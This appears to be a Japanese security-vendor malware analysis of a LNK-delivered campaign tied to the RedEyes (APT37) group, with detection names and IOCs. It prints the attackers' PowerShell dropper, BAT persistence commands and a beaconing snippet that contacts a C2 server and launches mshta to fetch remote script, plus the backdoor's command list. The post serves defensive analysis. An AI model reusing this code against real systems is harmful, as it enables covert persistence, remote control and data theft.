AhnLab Security Emergency response Center(ASEC)は、CHM 形式で配布されていたマルウェア[1]が LNK 形式で配布されていることを確認した。このマルウェアは mshta プロセスを通じて特定の url に存在する追加スクリプトを実行し、攻撃者サーバーからコマンドを受信して追加の不正な振る舞いを実行する。
確認された LNK ファイルは、攻撃者が正常なサイトにマルウェアが含まれている圧縮ファイルをアップロードすることで配布されていると確認された。
![](https://i0.wp.com/asec.ahnlab.com/wp-content/uploads/2023/09/%ED%8E%98%EC%9D%B4%EC%A7%80.png?resize=1024%2C396&ssl=1)
不正な LNK ファイルは「REPORT.ZIP」というファイル名でアップロードされている。このファイルは、<リンクファイル(*.lnk)によって拡散する RokRAT マルウェア:RedEyes(ScarCruft)>[2]で確認されたマルウェアと同じく、LNK 内部に正常な Excel ドキュメントデータと不正なスクリプトコードが存在している。
![](https://i0.wp.com/asec.ahnlab.com/wp-content/uploads/2023/09/zip_report.png?resize=948%2C189&ssl=1)
![](https://i0.wp.com/asec.ahnlab.com/wp-content/uploads/2023/09/lnk_datas.png?resize=977%2C781&ssl=1)
そのため、「現況調査票.xlsx.lnk」ファイルを実行すると、PowerShell コマンドによって正常なドキュメントファイルの「現況調査票.xlsx」と不正なスクリプトの「PMmVvG56FLC9y.bat」ファイルが %Temp% フォルダーに生成され、実行される。
/c powershell -windowstyle hidden $pEbjEn = Get-Location;if($pEbjEn -Match 'System32' -or $pEbjEn -Match 'Program Files') {$pEbjEn = '%temp%'};$lyHWPSj = Get-ChildItem -Path $pEbjEn -Recurse *.lnk ^| where-object {$_.length -eq 0x18C0000} ^| Select-Object -ExpandProperty FullName;if($lyHWPSj.GetType() -Match 'Object'){$lyHWPSj = $lyHWPSj[0];};$lyHWPSj;$C5ytw = gc $lyHWPSj -Encoding Byte -TotalCount 74240 -ReadCount 74240;$tyxkEP = '%temp%\현황조사표.xlsx';sc $tyxkEP ([byte[]]($C5ytw ^| select -Skip 62464)) -Encoding Byte; ^& $tyxkEP;$Cbe1yj = gc $lyHWPSj -Encoding Byte -TotalCount 79888 -ReadCount 79888;$WH9lSPHOFI = '%temp%\PMmVvG56FLC9y.bat';sc $WH9lSPHOFI ([byte[]]($Cbe1yj ^| select -Skip 74342)) -Encoding Byte;^& %windir%\SysWOW64\cmd.exe /c $WH9lSPHOFI;
「現況調査票.xlsx」は正常な Excel ドキュメントファイルであり、以下のように韓国国内の公共機関を詐称している。
![](https://i0.wp.com/asec.ahnlab.com/wp-content/uploads/2023/09/xls.png?resize=1024%2C468&ssl=1)
共に生成された「PMmVvG56FLC9y.bat」ファイルは実行時、「%appdata%\Microsoft\Protect\」フォルダーに「UserProfileSafeBackup.bat」というファイル名で複製される。その後、BAT ファイルが持続的に実行されるように、下記のレジストリに登録される。
- レジストリパス:HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
- 値名:BackupUserProfiles
- 値:C:\Windows\SysWOW64\cmd.exe /c %appdata%\Microsoft\Protect\UserProfileSafeBackup.bat
レジストリ登録後には BAT ファイルに16進数で存在する PowerShell コマンドを実行する。
copy %~f0 "%appdata%\Microsoft\Protect\UserProfileSafeBackup.bat"
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v BackupUserProfiles /t REG_SZ /f /d "C:\Windows\SysWOW64\cmd.exe /c %appdata%\Microsoft\Protect\UserProfileSafeBackup.bat"
start /min C:\Windows\SysWOW64\cmd.exe /c powershell -windowstyle hidden -command
"$m6drsidu ="$jWHmcU="""53746172742D536C656570202D<省略>""";$nj4KKFFRe="""""";for($xlEKy9tdBWJ=0;$xlEKy9tdBWJ -le $jWHmcU.Length-2;$xlEKy9tdBWJ=$xlEKy9tdBWJ+2){$dYaD=$jWHmcU[$xlEKy9tdBWJ]+$jWHmcU[$xlEKy9tdBWJ+1];$nj4KKFFRe= $nj4KKFFRe+[char]([convert]::toint16($dYaD,16));};
Invoke-Command -ScriptBlock ([Scriptblock]::Create($nj4KKFFRe));";
Invoke-Command -ScriptBlock ([Scriptblock]::Create($m6drsidu));"
PowerShell コマンドが実行されると、Run キーが登録される。また mshta を活用して追加スクリプトを実行する。また、攻撃者からコマンドを受け取ってレジストリ登録を実行することができる。以下は上記の BAT ファイルのコードのうち16進数で表記されている PowerShell コマンドの一部である。
Start-Sleep -Seconds 67;
$nvSklUbaQ = 1024 * 1024;
$yixgsFVy = $env:COMPUTERNAME + '-' + $env:USERNAME+'-SH';
$aWw = 'hxxp://75.119.136[.]207/config/bases/config.php' + '?U=' + $yixgsFVy;
$bLmoifqHwJxhE = $env:TEMP + '/KsK';
if (!(Test-Path $bLmoifqHwJxhE)) { New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce" -Name Olm -Value 'c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 311714 2.2.2.2 || mshta hxxp://bian0151.cafe24[.]com/admin/board/1.html' -PropertyType String -Force;}
確認された C2 および不正な URL は、以下の通りである。
- hxxp://75.119.136[.]207/config/bases/config.php?U=[COMPUTERNAME]-[USERNAME]-SH // 攻撃者のコマンド受信
- hxxp://75.119.136.207/config/bases/config.php?R=[base64 でエンコードされた ‘EOF’] // コマンド実行結果の伝達
- hxxp://bian0151.cafe24[.]com/admin/board/1.html //追加のスクリプトコードをダウンロード
Mshta によって実行される追加のスクリプトコード(hxxp://bian0151.cafe24.com/admin/board/1.html)には、以下のように base64 で難読化された PowerShell コマンドが存在するが、これは過去に掲載した<個人を盗聴する RedEyes グループ (APT37)>[3]の[表1]と類似した機能を実行する。
![](https://i0.wp.com/asec.ahnlab.com/wp-content/uploads/2023/09/html.png?resize=1024%2C235&ssl=1)
デコードされた PowerShell コマンドは、hxxp://75.119.136[.]207/config/bases/config.php?U=[COMPUTERNAME]-[USERNAME]-SH で攻撃者からコマンドを受信して処理する。[図6]はデコードされた PowerShell コマンドの一部である。
![](https://i0.wp.com/asec.ahnlab.com/wp-content/uploads/2023/09/html_de.png?resize=844%2C450&ssl=1)
実行できるコマンドおよび機能は以下の通りである。
コマンド | 機能 |
---|---|
pcinfo | PC 情報の収集 |
drive | ドライブ情報の収集 |
clipboard | Clipboard 内容の収集 |
svc | サービス情報の収集 |
process | 実行中のプロセス情報の収集 |
fileinfo | 渡されたパスの下位に存在するファイルの名前、サイズ、更新日時、全体パスの収集 |
start | 渡されたコマンドを cmd で実行 |
plugin | PowerShell で追加ファイルをダウンロードおよび実行 |
down | 渡されたパスに追加ファイルをダウンロード |
up | 渡されたパスのファイルアップロード |
regedit | レジストリ登録 |
compress | ファイル圧縮 |
[表1]のコマンドと過去に確認されたコマンドが異なることから、攻撃者が持続的にスクリプトコードを変更していると推定される。そのため、現在まで確認された機能以外にも様々な不正な振る舞いが実行される可能性がある。
LNK ファイル以外にも[図1]の REPORT.ZIP ファイル以外に追加で確認された KB_20230531.rar、attachment.rar、hanacard_20230610.rar 圧縮ファイルには、過去に確認された不正な CHM ファイルが圧縮されている。CHM ファイルもまた、前述した LNK ファイルと同じように mshta を活用して特定の url に存在する追加のスクリプトを実行するマルウェアである。
![](https://i0.wp.com/asec.ahnlab.com/wp-content/uploads/2023/09/zip.png?resize=1024%2C640&ssl=1)
最近、CHM および LNK を活用したマルウェアが多数配布されているため、ユーザーは特に注意する必要がある。不正な LNK の場合、ファイルのサイズが 10MB 以上の場合が多数確認されているため、作成者が不明な大容量の LNK ファイルは実行を控える必要がある。
[ファイル検知]
Dropper/LNK.Generic.S2241 (2023.04.24.02)
Trojan/BAT.PsExec.S2247 (2023.06.13.02)
Downloader/Script.Generic.SC191708 (2023.08.17.03)
[振る舞い検知]
DefenseEvasion/DETECT.T1059.M11294
DefenseEvasion/DETECT.T1059.M11295
[IOC]
0eb8db3cbde470407f942fd63afe42b8
2d444b6f72c8327d1d155faa2cca7fd7
27f74072d6268b5d96d73107c560d852
hxxp://75.119.136[.]207/config/bases/config.php
関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。
Categories: マルウェアの情報